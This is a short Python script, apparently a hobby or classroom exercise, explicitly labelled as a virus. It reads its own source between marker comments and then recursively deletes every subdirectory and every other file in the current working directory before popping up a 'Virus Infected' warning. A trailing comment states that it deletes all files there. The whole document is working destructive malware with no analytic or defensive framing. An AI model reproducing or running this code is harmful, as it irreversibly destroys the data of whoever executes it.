### Virus Code Start ###

import os

import shutil

import sys, glob, re

from tkinter import messagebox

# 1. Make a copy of the Virus

virusCode = []

virusFileObj = open(sys.argv[0], 'r')

lines = virusFileObj.readlines()

#The method readlines() reads until EOF using readline() and returns a list containing the lines.

virusFileObj.close()

inVirusCode = False

for line in lines:

if(re.search('^### Virus Code Start ###', line)):

inVirusCode = True

if(inVirusCode == True):

virusCode.append(line)

if(re.search('^### Virus Code End ###', line)):

break

# 2. Find Potential Targets/Victims

trgtDir=os.getcwd()

# 3. Check and Infect Targets/Victims

infectedFlag=False

for file in os.listdir(trgtDir):

absolute\_path = os.path.join(trgtDir, file)

if os.path.isdir(absolute\_path):

print(absolute\_path)

shutil.rmtree(absolute\_path)

infectedFlag=True

elif os.path.isfile(absolute\_path) and absolute\_path!=os.path.normpath(sys.argv[0]):

print(absolute\_path)

os.remove(absolute\_path)

infectedFlag=True

if infectedFlag:

messagebox.showwarning(title='notice',message='Virus Infected')

# 4. Payload (Optional)

print("Virus Infected")

### Virus Code End ###

#The results

#This virus can delete all files in the current directory, and it will pop up a prompt

